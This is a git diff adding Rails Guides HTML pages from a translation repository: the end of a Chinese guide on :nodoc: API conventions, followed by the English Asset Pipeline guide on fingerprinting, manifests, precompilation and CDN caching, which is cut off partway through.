因此,在 Rails 中有些可见性为 public 的方法不是供用户使用的。

ActiveRecord::Core::ClassMethods#arel_table 就是一例:

+
+module ActiveRecord::Core::ClassMethods
+  def arel_table #:nodoc:
+    # do some magic..
+  end
+end
+
+
+
+

你可能想,“这是 ActiveRecord::Core 的一个公开类方法”,没错,但是 Rails 团队不希望用户使用这个方法。因此,他们把它标记为 :nodoc:,不包含在公开文档中。这样做,开发团队可以根据内部需要在发布新版本时修改这个方法。方法的名称可能会变,或者返回值有变化,也可能是整个类都不复存在——有太多不确定性,因此不应该在你的插件或应用中使用这个 API。如若不然,升级新版 Rails 时,你的应用或 gem 可能遭到破坏。

为 Rails 做贡献时一定要考虑清楚 API 是否供最终用户使用。未经完整的弃用循环之前,Rails 团队不会轻易对公开 API 做大的改动。如果没有定义为私有的(默认是内部 API),建议你使用 :nodoc: 标记所有内部的方法和类。API 稳定之后,可见性可以修改,但是为了向后兼容,公开 API 往往不宜修改。

使用 :nodoc: 标记一个类或模块表示里面的所有方法都是内部 API,不应该直接使用。

如果遇到 :nodoc:,一定要小心。在删除这一标记之前可以询问核心团队成员或者代码的作者。这种操作基本上都通过拉取请求处理,不能在 docrails 项目中删除。

:nodoc: 不是为了标记方法或类缺少文档。内部的公开方法可能没有 :nodoc: 标记,这只是例外,可能是因为方法由私有变成公开时忘记了。遇到这种情况时应该通过一个拉取请求讨论,而且要具体情况具体分析,绝对不能直接在 docrails 中修改。

综上,Rails 团队使用 :nodoc: 标记供内部使用的可见性为公开的方法和类,对 API 可见性的修改要谨慎,必须先通过一个拉取请求讨论。

12 考虑 Rails 栈

为 Rails API 编写文档时,一定要记住所有内容都身处 Rails 栈中。

这意味着,方法或类的行为在不同的作用域或上下文中可能有所不同。

把整个栈考虑进来之后,行为在不同的地方可能有变。ActionView::Helpers::AssetTagHelper#image_tag 就是一例:

+
+# image_tag("icon.png")
+#   # => <img alt="Icon" src="http://github.com/assets/icon.png" />
+
+
+
+

虽然 #image_tag 的默认行为是返回 /images/icon.png,但是把整个 Rails 栈(包括 Asset Pipeline)考虑进来之后,可能会得到上述结果。

我们只关注考虑整个 Rails 默认栈的行为。

因此,我们要说明的是框架的行为,而不是单个方法。

如果你对 Rails 团队处理某个 API 的方式有疑问,别迟疑,在问题追踪系统中发一个工单,或者提交补丁。

+ +

反馈

+

+ 我们鼓励您帮助提高本指南的质量。 +

+

+ 如果看到如何错字或错误,请反馈给我们。 + 您可以阅读我们的文档贡献指南。 +

+

+ 您还可能会发现内容不完整或不是最新版本。 + 请添加缺失文档到 master 分支。请先确认 Edge Guides 是否已经修复。 + 关于用语约定,请查看Ruby on Rails 指南指导。 +

+

+ 无论什么原因,如果你发现了问题但无法修补它,请创建 issue。 +

+

+ 最后,欢迎到 rubyonrails-docs 邮件列表参与任何有关 Ruby on Rails 文档的讨论。 +

+

中文翻译反馈

+

贡献:https://github.com/ruby-china/guides

+
+
+
+ +
+ + + + + + + + + diff --git a/v5.0/asset_pipeline.html b/v5.0/asset_pipeline.html new file mode 100644 index 0000000..2f4df76 --- /dev/null +++ b/v5.0/asset_pipeline.html @@ -0,0 +1,1283 @@ + + + + + + + +The Asset Pipeline — Ruby on Rails Guides + + + + + + + + + + + +
+
+ 更多内容 rubyonrails.org: + + More Ruby on Rails + + +
+
+ +
+ +
+
+

The Asset Pipeline

This guide covers the asset pipeline.

After reading this guide, you will know:

+
    +
  • What the asset pipeline is and what it does.
  • +
  • How to properly organize your application assets.
  • +
  • The benefits of the asset pipeline.
  • +
  • How to add a pre-processor to the pipeline.
  • +
  • How to package assets with a gem.
  • +
+ + + + +
+
+ +
+
+
+

1 What is the Asset Pipeline?

The asset pipeline provides a framework to concatenate and minify or compress +JavaScript and CSS assets. It also adds the ability to write these assets in +other languages and pre-processors such as CoffeeScript, Sass and ERB. +It allows assets in your application to be automatically combined with assets +from other gems. For example, jquery-rails includes a copy of jquery.js +and enables AJAX features in Rails.

The asset pipeline is implemented by the +sprockets-rails gem, +and is enabled by default. You can disable it while creating a new application by +passing the --skip-sprockets option.

+
+rails new appname --skip-sprockets
+
+
+
+

Rails automatically adds the sass-rails, coffee-rails and uglifier +gems to your Gemfile, which are used by Sprockets for asset compression:

+
+gem 'sass-rails'
+gem 'uglifier'
+gem 'coffee-rails'
+
+
+
+

Using the --skip-sprockets option will prevent Rails from adding +them to your Gemfile, so if you later want to enable +the asset pipeline you will have to add those gems to your Gemfile. Also, +creating an application with the --skip-sprockets option will generate +a slightly different config/application.rb file, with a require statement +for the sprockets railtie that is commented-out. You will have to remove +the comment operator on that line to later enable the asset pipeline:

+
+# require "sprockets/railtie"
+
+
+
+

To set asset compression methods, set the appropriate configuration options +in production.rb - config.assets.css_compressor for your CSS and +config.assets.js_compressor for your JavaScript:

+
+config.assets.css_compressor = :yui
+config.assets.js_compressor = :uglifier
+
+
+
+

The sass-rails gem is automatically used for CSS compression if included +in the Gemfile and no config.assets.css_compressor option is set.

1.1 Main Features

The first feature of the pipeline is to concatenate assets, which can reduce the +number of requests that a browser makes to render a web page. Web browsers are +limited in the number of requests that they can make in parallel, so fewer +requests can mean faster loading for your application.

Sprockets concatenates all JavaScript files into one master .js file and all +CSS files into one master .css file. As you'll learn later in this guide, you +can customize this strategy to group files any way you like. In production, +Rails inserts an MD5 fingerprint into each filename so that the file is cached +by the web browser. You can invalidate the cache by altering this fingerprint, +which happens automatically whenever you change the file contents.

The second feature of the asset pipeline is asset minification or compression. +For CSS files, this is done by removing whitespace and comments. For JavaScript, +more complex processes can be applied. You can choose from a set of built in +options or specify your own.

The third feature of the asset pipeline is it allows coding assets via a +higher-level language, with precompilation down to the actual assets. Supported +languages include Sass for CSS, CoffeeScript for JavaScript, and ERB for both by +default.

1.2 What is Fingerprinting and Why Should I Care?

Fingerprinting is a technique that makes the name of a file dependent on the +contents of the file. When the file contents change, the filename is also +changed. For content that is static or infrequently changed, this provides an +easy way to tell whether two versions of a file are identical, even across +different servers or deployment dates.

When a filename is unique and based on its content, HTTP headers can be set to +encourage caches everywhere (whether at CDNs, at ISPs, in networking equipment, +or in web browsers) to keep their own copy of the content. When the content is +updated, the fingerprint will change. This will cause the remote clients to +request a new copy of the content. This is generally known as cache busting.

The technique sprockets uses for fingerprinting is to insert a hash of the +content into the name, usually at the end. For example a CSS file global.css

+
+global-908e25f4bf641868d8683022a5b62f54.css
+
+
+
+

This is the strategy adopted by the Rails asset pipeline.

Rails' old strategy was to append a date-based query string to every asset linked +with a built-in helper. In the source the generated code looked like this:

+
+/stylesheets/global.css?1309495796
+
+
+
+

The query string strategy has several disadvantages:

+
    +
  1. +

    Not all caches will reliably cache content where the filename only differs by +query parameters

    +

    Steve Souders recommends, +"...avoiding a querystring for cacheable resources". He found that in this +case 5-20% of requests will not be cached. Query strings in particular do not +work at all with some CDNs for cache invalidation.

    +
  2. +
  3. +

    The file name can change between nodes in multi-server environments.

    +

    The default query string in Rails 2.x is based on the modification time of +the files. When assets are deployed to a cluster, there is no guarantee that the +timestamps will be the same, resulting in different values being used depending +on which server handles the request.

    +
  4. +
  5. +

    Too much cache invalidation

    +

    When static assets are deployed with each new release of code, the mtime +(time of last modification) of all these files changes, forcing all remote +clients to fetch them again, even when the content of those assets has not changed.

    +
  6. +
+

Fingerprinting fixes these problems by avoiding query strings, and by ensuring +that filenames are consistent based on their content.

Fingerprinting is enabled by default for both the development and production +environments. You can enable or disable it in your configuration through the +config.assets.digest option.

More reading:

+ +

2 How to Use the Asset Pipeline

In previous versions of Rails, all assets were located in subdirectories of +public such as images, javascripts and stylesheets. With the asset +pipeline, the preferred location for these assets is now the app/assets +directory. Files in this directory are served by the Sprockets middleware.

Assets can still be placed in the public hierarchy. Any assets under public +will be served as static files by the application or web server when +config.public_file_server.enabled is set to true. You should use app/assets for +files that must undergo some pre-processing before they are served.

In production, Rails precompiles these files to public/assets by default. The +precompiled copies are then served as static assets by the web server. The files +in app/assets are never served directly in production.

2.1 Controller Specific Assets

When you generate a scaffold or a controller, Rails also generates a JavaScript +file (or CoffeeScript file if the coffee-rails gem is in the Gemfile) and a +Cascading Style Sheet file (or SCSS file if sass-rails is in the Gemfile) +for that controller. Additionally, when generating a scaffold, Rails generates +the file scaffolds.css (or scaffolds.scss if sass-rails is in the +Gemfile.)

For example, if you generate a ProjectsController, Rails will also add a new +file at app/assets/javascripts/projects.coffee and another at +app/assets/stylesheets/projects.scss. By default these files will be ready +to use by your application immediately using the require_tree directive. See +Manifest Files and Directives for more details +on require_tree.

You can also opt to include controller specific stylesheets and JavaScript files +only in their respective controllers using the following:

<%= javascript_include_tag params[:controller] %> or <%= stylesheet_link_tag +params[:controller] %>

When doing this, ensure you are not using the require_tree directive, as that +will result in your assets being included more than once.

When using asset precompilation, you will need to ensure that your +controller assets will be precompiled when loading them on a per page basis. By +default .coffee and .scss files will not be precompiled on their own. See +Precompiling Assets for more information on how +precompiling works.

You must have an ExecJS supported runtime in order to use CoffeeScript. +If you are using Mac OS X or Windows, you have a JavaScript runtime installed in +your operating system. Check ExecJS documentation to know all supported JavaScript runtimes.

You can also disable generation of controller specific asset files by adding the +following to your config/application.rb configuration:

+
+  config.generators do |g|
+    g.assets false
+  end
+
+
+
+

2.2 Asset Organization

Pipeline assets can be placed inside an application in one of three locations: +app/assets, lib/assets or vendor/assets.

+
    +
  • app/assets is for assets that are owned by the application, such as custom +images, JavaScript files or stylesheets.

  • +
  • lib/assets is for your own libraries' code that doesn't really fit into the +scope of the application or those libraries which are shared across applications.

  • +
  • vendor/assets is for assets that are owned by outside entities, such as +code for JavaScript plugins and CSS frameworks. Keep in mind that third party +code with references to other files also processed by the asset Pipeline (images, +stylesheets, etc.), will need to be rewritten to use helpers like asset_path.

  • +
+

If you are upgrading from Rails 3, please take into account that assets +under lib/assets or vendor/assets are available for inclusion via the +application manifests but no longer part of the precompile array. See +Precompiling Assets for guidance.

2.2.1 Search Paths

When a file is referenced from a manifest or a helper, Sprockets searches the +three default asset locations for it.

The default locations are: the images, javascripts and stylesheets +directories under the app/assets folder, but these subdirectories +are not special - any path under assets/* will be searched.

For example, these files:

+
+app/assets/javascripts/home.js
+lib/assets/javascripts/moovinator.js
+vendor/assets/javascripts/slider.js
+vendor/assets/somepackage/phonebox.js
+
+
+
+

would be referenced in a manifest like this:

+
+//= require home
+//= require moovinator
+//= require slider
+//= require phonebox
+
+
+
+

Assets inside subdirectories can also be accessed.

+
+app/assets/javascripts/sub/something.js
+
+
+
+

is referenced as:

+
+//= require sub/something
+
+
+
+

You can view the search path by inspecting +Rails.application.config.assets.paths in the Rails console.

Besides the standard assets/* paths, additional (fully qualified) paths can be +added to the pipeline in config/application.rb. For example:

+
+config.assets.paths << Rails.root.join("lib", "videoplayer", "flash")
+
+
+
+

Paths are traversed in the order they occur in the search path. By default, +this means the files in app/assets take precedence, and will mask +corresponding paths in lib and vendor.

It is important to note that files you want to reference outside a manifest must +be added to the precompile array or they will not be available in the production +environment.

2.2.2 Using Index Files

Sprockets uses files named index (with the relevant extensions) for a special +purpose.

For example, if you have a jQuery library with many modules, which is stored in +lib/assets/javascripts/library_name, the file lib/assets/javascripts/library_name/index.js serves as +the manifest for all files in this library. This file could include a list of +all the required files in order, or a simple require_tree directive.

The library as a whole can be accessed in the application manifest like so:

+
+//= require library_name
+
+
+
+

This simplifies maintenance and keeps things clean by allowing related code to +be grouped before inclusion elsewhere.

2.3 Coding Links to Assets

Sprockets does not add any new methods to access your assets - you still use the +familiar javascript_include_tag and stylesheet_link_tag:

+
+<%= stylesheet_link_tag "application", media: "all" %>
+<%= javascript_include_tag "application" %>
+
+
+
+

If using the turbolinks gem, which is included by default in Rails, then +include the 'data-turbolinks-track' option which causes turbolinks to check if +an asset has been updated and if so loads it into the page:

+
+<%= stylesheet_link_tag "application", media: "all", "data-turbolinks-track" => "reload" %>
+<%= javascript_include_tag "application", "data-turbolinks-track" => "reload" %>
+
+
+
+

In regular views you can access images in the public/assets/images directory +like this:

+
+<%= image_tag "rails.png" %>
+
+
+
+

Provided that the pipeline is enabled within your application (and not disabled +in the current environment context), this file is served by Sprockets. If a file +exists at public/assets/rails.png it is served by the web server.

Alternatively, a request for a file with an MD5 hash such as +public/assets/rails-af27b6a414e6da00003503148be9b409.png is treated the same +way. How these hashes are generated is covered in the In +Production section later on in this guide.

Sprockets will also look through the paths specified in config.assets.paths, +which includes the standard application paths and any paths added by Rails +engines.

Images can also be organized into subdirectories if required, and then can be +accessed by specifying the directory's name in the tag:

+
+<%= image_tag "icons/rails.png" %>
+
+
+
+

If you're precompiling your assets (see In Production +below), linking to an asset that does not exist will raise an exception in the +calling page. This includes linking to a blank string. As such, be careful using +image_tag and the other helpers with user-supplied data.

2.3.1 CSS and ERB

The asset pipeline automatically evaluates ERB. This means if you add an +erb extension to a CSS asset (for example, application.css.erb), then +helpers like asset_path are available in your CSS rules:

+
+.class { background-image: url(http://github.com/<%=%20asset_path%20'image.png'%20%>) }
+
+
+
+

This writes the path to the particular asset being referenced. In this example, +it would make sense to have an image in one of the asset load paths, such as +app/assets/images/image.png, which would be referenced here. If this image is +already available in public/assets as a fingerprinted file, then that path is +referenced.

If you want to use a data URI - +a method of embedding the image data directly into the CSS file - you can use +the asset_data_uri helper.

+
+#logo { background: url(http://github.com/<%=%20asset_data_uri%20'logo.png'%20%>) }
+
+
+
+

This inserts a correctly-formatted data URI into the CSS source.

Note that the closing tag cannot be of the style -%>.

2.3.2 CSS and Sass

When using the asset pipeline, paths to assets must be re-written and +sass-rails provides -url and -path helpers (hyphenated in Sass, +underscored in Ruby) for the following asset classes: image, font, video, audio, +JavaScript and stylesheet.

+
    +
  • +image-url("http://github.com/rails.png") returns url(http://github.com/assets/rails.png) +
  • +
  • +image-path("rails.png") returns "/assets/rails.png" +
  • +
+

The more generic form can also be used:

+
    +
  • +asset-url("http://github.com/rails.png") returns url(http://github.com/assets/rails.png) +
  • +
  • +asset-path("rails.png") returns "/assets/rails.png" +
  • +
+
2.3.3 JavaScript/CoffeeScript and ERB

If you add an erb extension to a JavaScript asset, making it something such as +application.js.erb, you can then use the asset_path helper in your +JavaScript code:

+
+$('#logo').attr({ src: "<%= asset_path('logo.png') %>" });
+
+
+
+

This writes the path to the particular asset being referenced.

Similarly, you can use the asset_path helper in CoffeeScript files with erb +extension (e.g., application.coffee.erb):

+
+$('#logo').attr src: "<%= asset_path('logo.png') %>"
+
+
+
+

2.4 Manifest Files and Directives

Sprockets uses manifest files to determine which assets to include and serve. +These manifest files contain directives - instructions that tell Sprockets +which files to require in order to build a single CSS or JavaScript file. With +these directives, Sprockets loads the files specified, processes them if +necessary, concatenates them into one single file and then compresses them +(based on value of Rails.application.config.assets.js_compressor). By serving +one file rather than many, the load time of pages can be greatly reduced because +the browser makes fewer requests. Compression also reduces file size, enabling +the browser to download them faster.

For example, a new Rails application includes a default +app/assets/javascripts/application.js file containing the following lines:

+
+// ...
+//= require jquery
+//= require jquery_ujs
+//= require_tree .
+
+
+
+

In JavaScript files, Sprockets directives begin with //=. In the above case, +the file is using the require and the require_tree directives. The require +directive is used to tell Sprockets the files you wish to require. Here, you are +requiring the files jquery.js and jquery_ujs.js that are available somewhere +in the search path for Sprockets. You need not supply the extensions explicitly. +Sprockets assumes you are requiring a .js file when done from within a .js +file.

The require_tree directive tells Sprockets to recursively include all +JavaScript files in the specified directory into the output. These paths must be +specified relative to the manifest file. You can also use the +require_directory directive which includes all JavaScript files only in the +directory specified, without recursion.

Directives are processed top to bottom, but the order in which files are +included by require_tree is unspecified. You should not rely on any particular +order among those. If you need to ensure some particular JavaScript ends up +above some other in the concatenated file, require the prerequisite file first +in the manifest. Note that the family of require directives prevents files +from being included twice in the output.

Rails also creates a default app/assets/stylesheets/application.css file +which contains these lines:

+
+/* ...
+*= require_self
+*= require_tree .
+*/
+
+
+
+

Rails creates both app/assets/javascripts/application.js and +app/assets/stylesheets/application.css regardless of whether the +--skip-sprockets option is used when creating a new rails application. This is +so you can easily add asset pipelining later if you like.

The directives that work in JavaScript files also work in stylesheets +(though obviously including stylesheets rather than JavaScript files). The +require_tree directive in a CSS manifest works the same way as the JavaScript +one, requiring all stylesheets from the current directory.

In this example, require_self is used. This puts the CSS contained within the +file (if any) at the precise location of the require_self call.

If you want to use multiple Sass files, you should generally use the Sass @import rule +instead of these Sprockets directives. When using Sprockets directives, Sass files exist within +their own scope, making variables or mixins only available within the document they were defined in.

You can do file globbing as well using @import "http://github.com/*", and @import "http://github.com/**/*" to add the whole tree which is equivalent to how require_tree works. Check the sass-rails documentation for more info and important caveats.

You can have as many manifest files as you need. For example, the admin.css +and admin.js manifest could contain the JS and CSS files that are used for the +admin section of an application.

The same remarks about ordering made above apply. In particular, you can specify +individual files and they are compiled in the order specified. For example, you +might concatenate three CSS files together this way:

+
+/* ...
+*= require reset
+*= require layout
+*= require chrome
+*/
+
+
+
+

2.5 Preprocessing

The file extensions used on an asset determine what preprocessing is applied. +When a controller or a scaffold is generated with the default Rails gemset, a +CoffeeScript file and a SCSS file are generated in place of a regular JavaScript +and CSS file. The example used before was a controller called "projects", which +generated an app/assets/javascripts/projects.coffee and an +app/assets/stylesheets/projects.scss file.

In development mode, or if the asset pipeline is disabled, when these files are +requested they are processed by the processors provided by the coffee-script +and sass gems and then sent back to the browser as JavaScript and CSS +respectively. When asset pipelining is enabled, these files are preprocessed and +placed in the public/assets directory for serving by either the Rails app or +web server.

Additional layers of preprocessing can be requested by adding other extensions, +where each extension is processed in a right-to-left manner. These should be +used in the order the processing should be applied. For example, a stylesheet +called app/assets/stylesheets/projects.scss.erb is first processed as ERB, +then SCSS, and finally served as CSS. The same applies to a JavaScript file - +app/assets/javascripts/projects.coffee.erb is processed as ERB, then +CoffeeScript, and served as JavaScript.

Keep in mind the order of these preprocessors is important. For example, if +you called your JavaScript file app/assets/javascripts/projects.erb.coffee +then it would be processed with the CoffeeScript interpreter first, which +wouldn't understand ERB and therefore you would run into problems.

3 In Development

In development mode, assets are served as separate files in the order they are +specified in the manifest file.

This manifest app/assets/javascripts/application.js:

+
+//= require core
+//= require projects
+//= require tickets
+
+
+
+

would generate this HTML:

+
+<script src="http://github.com/assets/core.js?body=1"></script>
+<script src="http://github.com/assets/projects.js?body=1"></script>
+<script src="http://github.com/assets/tickets.js?body=1"></script>
+
+
+
+

The body param is required by Sprockets.

3.1 Runtime Error Checking

By default the asset pipeline will check for potential errors in development mode during +runtime. To disable this behavior you can set:

+
+config.assets.raise_runtime_errors = false
+
+
+
+

When this option is true, the asset pipeline will check if all the assets loaded +in your application are included in the config.assets.precompile list. +If config.assets.digest is also true, the asset pipeline will require that +all requests for assets include digests.

3.2 Turning Digests Off

You can turn off digests by updating config/environments/development.rb to +include:

+
+config.assets.digest = false
+
+
+
+

When this option is true, digests will be generated for asset URLs.

3.3 Turning Debugging Off

You can turn off debug mode by updating config/environments/development.rb to +include:

+
+config.assets.debug = false
+
+
+
+

When debug mode is off, Sprockets concatenates and runs the necessary +preprocessors on all files. With debug mode turned off the manifest above would +generate instead:

+
+<script src="http://github.com/assets/application.js"></script>
+
+
+
+

Assets are compiled and cached on the first request after the server is started. +Sprockets sets a must-revalidate Cache-Control HTTP header to reduce request +overhead on subsequent requests - on these the browser gets a 304 (Not Modified) +response.

If any of the files in the manifest have changed between requests, the server +responds with a new compiled file.

Debug mode can also be enabled in Rails helper methods:

+
+<%= stylesheet_link_tag "application", debug: true %>
+<%= javascript_include_tag "application", debug: true %>
+
+
+
+

The :debug option is redundant if debug mode is already on.

You can also enable compression in development mode as a sanity check, and +disable it on-demand as required for debugging.

4 In Production

In the production environment Sprockets uses the fingerprinting scheme outlined +above. By default Rails assumes assets have been precompiled and will be +served as static assets by your web server.

During the precompilation phase an MD5 is generated from the contents of the +compiled files, and inserted into the filenames as they are written to disk. +These fingerprinted names are used by the Rails helpers in place of the manifest +name.

For example this:

+
+<%= javascript_include_tag "application" %>
+<%= stylesheet_link_tag "application" %>
+
+
+
+

generates something like this:

+
+<script src="http://github.com/assets/application-908e25f4bf641868d8683022a5b62f54.js"></script>
+<link href="http://github.com/assets/application-4dd5b109ee3439da54f5bdfd78a80473.css" media="screen"
+rel="stylesheet" />
+
+
+
+

with the Asset Pipeline the :cache and :concat options aren't used +anymore, delete these options from the javascript_include_tag and +stylesheet_link_tag.

The fingerprinting behavior is controlled by the config.assets.digest +initialization option (which defaults to true).

Under normal circumstances the default config.assets.digest option +should not be changed. If there are no digests in the filenames, and far-future +headers are set, remote clients will never know to refetch the files when their +content changes.

4.1 Precompiling Assets

Rails comes bundled with a task to compile the asset manifests and other +files in the pipeline.

Compiled assets are written to the location specified in config.assets.prefix. +By default, this is the /assets directory.

You can call this task on the server during deployment to create compiled +versions of your assets directly on the server. See the next section for +information on compiling locally.

The task is:

+
+$ RAILS_ENV=production bin/rails assets:precompile
+
+
+
+

Capistrano (v2.15.1 and above) includes a recipe to handle this in deployment. +Add the following line to Capfile:

+
+load 'deploy/assets'
+
+
+
+

This links the folder specified in config.assets.prefix to shared/assets. +If you already use this shared folder you'll need to write your own deployment +task.

It is important that this folder is shared between deployments so that remotely +cached pages referencing the old compiled assets still work for the life of +the cached page.

The default matcher for compiling files includes application.js, +application.css and all non-JS/CSS files (this will include all image assets +automatically) from app/assets folders including your gems:

+
+[ Proc.new { |filename, path| path =~ /app\/assets/ && !%w(.js .css).include?(File.extname(filename)) },
+/application.(css|js)$/ ]
+
+
+
+

The matcher (and other members of the precompile array; see below) is +applied to final compiled file names. This means anything that compiles to +JS/CSS is excluded, as well as raw JS/CSS files; for example, .coffee and +.scss files are not automatically included as they compile to JS/CSS.

If you have other manifests or individual stylesheets and JavaScript files to +include, you can add them to the precompile array in config/initializers/assets.rb:

+
+Rails.application.config.assets.precompile += ['admin.js', 'admin.css', 'swfObject.js']
+
+
+
+

Always specify an expected compiled filename that ends with .js or .css, +even if you want to add Sass or CoffeeScript files to the precompile array.

The task also generates a manifest-md5hash.json that contains a list with +all your assets and their respective fingerprints. This is used by the Rails +helper methods to avoid handing the mapping requests back to Sprockets. A +typical manifest file looks like:

+
+{"files":{"application-723d1be6cc741a3aabb1cec24276d681.js":{"logical_path":"application.js","mtime":"2013-07-26T22:55:03-07:00","size":302506,
+"digest":"723d1be6cc741a3aabb1cec24276d681"},"application-12b3c7dd74d2e9df37e7cbb1efa76a6d.css":{"logical_path":"application.css","mtime":"2013-07-26T22:54:54-07:00","size":1560,
+"digest":"12b3c7dd74d2e9df37e7cbb1efa76a6d"},"application-1c5752789588ac18d7e1a50b1f0fd4c2.css":{"logical_path":"application.css","mtime":"2013-07-26T22:56:17-07:00","size":1591,
+"digest":"1c5752789588ac18d7e1a50b1f0fd4c2"},"favicon-a9c641bf2b81f0476e876f7c5e375969.ico":{"logical_path":"favicon.ico","mtime":"2013-07-26T23:00:10-07:00","size":1406,
+"digest":"a9c641bf2b81f0476e876f7c5e375969"},"my_image-231a680f23887d9dd70710ea5efd3c62.png":{"logical_path":"my_image.png","mtime":"2013-07-26T23:00:27-07:00","size":6646,
+"digest":"231a680f23887d9dd70710ea5efd3c62"}},"assets":{"application.js":
+"application-723d1be6cc741a3aabb1cec24276d681.js","application.css":
+"application-1c5752789588ac18d7e1a50b1f0fd4c2.css",
+"favicon.ico":"favicona9c641bf2b81f0476e876f7c5e375969.ico","my_image.png":
+"my_image-231a680f23887d9dd70710ea5efd3c62.png"}}
+
+
+
+

The default location for the manifest is the root of the location specified in +config.assets.prefix ('/assets' by default).

If there are missing precompiled files in production you will get an +Sprockets::Helpers::RailsHelper::AssetPaths::AssetNotPrecompiledError +exception indicating the name of the missing file(s).

4.1.1 Far-future Expires Header

Precompiled assets exist on the file system and are served directly by your web +server. They do not have far-future headers by default, so to get the benefit of +fingerprinting you'll have to update your server configuration to add those +headers.

For Apache:

+
+# The Expires* directives requires the Apache module
+# `mod_expires` to be enabled.
+<Location /assets/>
+  # Use of ETag is discouraged when Last-Modified is present
+  Header unset ETag
+  FileETag None
+  # RFC says only cache for 1 year
+  ExpiresActive On
+  ExpiresDefault "access plus 1 year"
+</Location>
+
+
+
+

For NGINX:

+
+location ~ ^/assets/ {
+  expires 1y;
+  add_header Cache-Control public;
+
+  add_header ETag "";
+}
+
+
+
+

4.2 Local Precompilation

There are several reasons why you might want to precompile your assets locally. +Among them are:

+
    +
  • You may not have write access to your production file system.
  • +
  • You may be deploying to more than one server, and want to avoid +duplication of work.
  • +
  • You may be doing frequent deploys that do not include asset changes.
  • +
+

Local compilation allows you to commit the compiled files into source control, +and deploy as normal.

There are three caveats:

+
    +
  • You must not run the Capistrano deployment task that precompiles assets.
  • +
  • You must ensure any necessary compressors or minifiers are +available on your development system.
  • +
  • You must change the following application configuration setting:
  • +
+

In config/environments/development.rb, place the following line:

+
+config.assets.prefix = "/dev-assets"
+
+
+
+

The prefix change makes Sprockets use a different URL for serving assets in +development mode, and pass all requests to Sprockets. The prefix is still set to +/assets in the production environment. Without this change, the application +would serve the precompiled assets from /assets in development, and you would +not see any local changes until you compile assets again.

In practice, this will allow you to precompile locally, have those files in your +working tree, and commit those files to source control when needed. Development +mode will work as expected.

4.3 Live Compilation

In some circumstances you may wish to use live compilation. In this mode all +requests for assets in the pipeline are handled by Sprockets directly.

To enable this option set:

+
+config.assets.compile = true
+
+
+
+

On the first request the assets are compiled and cached as outlined in +development above, and the manifest names used in the helpers are altered to +include the MD5 hash.

Sprockets also sets the Cache-Control HTTP header to max-age=31536000. This +signals all caches between your server and the client browser that this content +(the file served) can be cached for 1 year. The effect of this is to reduce the +number of requests for this asset from your server; the asset has a good chance +of being in the local browser cache or some intermediate cache.

This mode uses more memory, performs more poorly than the default and is not +recommended.

If you are deploying a production application to a system without any +pre-existing JavaScript runtimes, you may want to add one to your Gemfile:

+
+group :production do
+  gem 'therubyracer'
+end
+
+
+
+

4.4 CDNs

CDN stands for Content Delivery +Network, they are +primarily designed to cache assets all over the world so that when a browser +requests the asset, a cached copy will be geographically close to that browser. +If you are serving assets directly from your Rails server in production, the +best practice is to use a CDN in front of your application.

A common pattern for using a CDN is to set your production application as the +"origin" server. This means when a browser requests an asset from the CDN and +there is a cache miss, it will grab the file from your server on the fly and +then cache it. For example if you are running a Rails application on +example.com and have a CDN configured at mycdnsubdomain.fictional-cdn.com, +then when a request is made to mycdnsubdomain.fictional- +cdn.com/assets/smile.png, the CDN will query your server once at +example.com/assets/smile.png and cache the request. The next request to the +CDN that comes in to the same URL will hit the cached copy. When the CDN can +serve an asset directly the request never touches your Rails server. Since the +assets from a CDN are geographically closer to the browser, the request is +faster, and since your server doesn't need to spend time serving assets, it can +focus on serving application code as fast as possible.

4.4.1 Set up a CDN to Serve Static Assets

To set up your CDN you have to have your application running in production on +the internet at a publicly available URL, for example example.com. Next +you'll need to sign up for a CDN service from a cloud hosting provider. When you +do this you need to configure the "origin" of the CDN to point back at your +website example.com, check your provider for documentation on configuring the +origin server.

The CDN you provisioned should give you a custom subdomain for your application +such as mycdnsubdomain.fictional-cdn.com (note fictional-cdn.com is not a +valid CDN provider at the time of this writing). Now that you have configured +your CDN server, you need to tell browsers to use your CDN to grab assets +instead of your Rails server directly. You can do this by configuring Rails to +set your CDN as the asset host instead of using a relative path. To set your +asset host in Rails, you need to set config.action_controller.asset_host in +config/environments/production.rb:

+
+config.action_controller.asset_host = 'mycdnsubdomain.fictional-cdn.com'
+
+
+
+

You only need to provide the "host", this is the subdomain and root +domain, you do not need to specify a protocol or "scheme" such as http:// or +https://. When a web page is requested, the protocol in the link to your asset +that is generated will match how the webpage is accessed by default.

You can also set this value through an environment +variable to make running a +staging copy of your site easier:

+
+config.action_controller.asset_host = ENV['CDN_HOST']
+
+
+
+

Note: You would need to set CDN_HOST on your server to mycdnsubdomain +.fictional-cdn.com for this to work.

Once you have configured your server and your CDN when you serve a webpage that +has an asset:

+
+<%= asset_path('smile.png') %>
+
+
+
+

Instead of returning a path such as /assets/smile.png (digests are left out +for readability). The URL generated will have the full path to your CDN.

+
+http://mycdnsubdomain.fictional-cdn.com/assets/smile.png
+
+
+
+

If the CDN has a copy of smile.png it will serve it to the browser and your +server doesn't even know it was requested. If the CDN does not have a copy it +will try to find it at the "origin" example.com/assets/smile.png and then store +it for future use.

If you want to serve only some assets from your CDN, you can use custom :host +option your asset helper, which overwrites value set in +config.action_controller.asset_host.

+
+<%= asset_path 'image.png', host: 'mycdnsubdomain.fictional-cdn.com' %>
+
+
+
+
4.4.2 Customize CDN Caching Behavior

A CDN works by caching content. If the CDN has stale or bad content, then it is +hurting rather than helping your application. The purpose of this section is to +describe general caching behavior of most CDNs, your specific provider may +behave slightly differently.

4.4.2.1 CDN Request Caching

While a CDN is described as being good for caching assets, in reality caches the +entire request. This includes the body of the asset as well as any headers. The +most important one being Cache-Control which tells the CDN (and web browsers) +how to cache contents. This means that if someone requests an asset that does +not exist /assets/i-dont-exist.png and your Rails application returns a 404, +then your CDN will likely cache the 404 page if a valid Cache-Control header +is present.

4.4.2.2 CDN Header Debugging

One way to check the headers are cached properly in your CDN is by using curl. You +can request the headers from both your server and your CDN to verify they are +the same:

+
+$ curl -I http://www.example/assets/application-
+d0e099e021c95eb0de3615fd1d8c4d83.css
+HTTP/1.1 200 OK
+Server: Cowboy
+Date: Sun, 24 Aug 2014 20:27:50 GMT
+Connection: keep-alive
+Last-Modified: Thu, 08 May 2014 01:24:14 GMT
+Content-Type: text/css
+Cache-Control: public, max-age=2592000
+Content-Length: 126560
+Via: 1.1 vegur
+
+
+
+

Versus the CDN copy.

+
+$ curl -I http://mycdnsubdomain.fictional-cdn.com/application-
+d0e099e021c95eb0de3615fd1d8c4d83.css
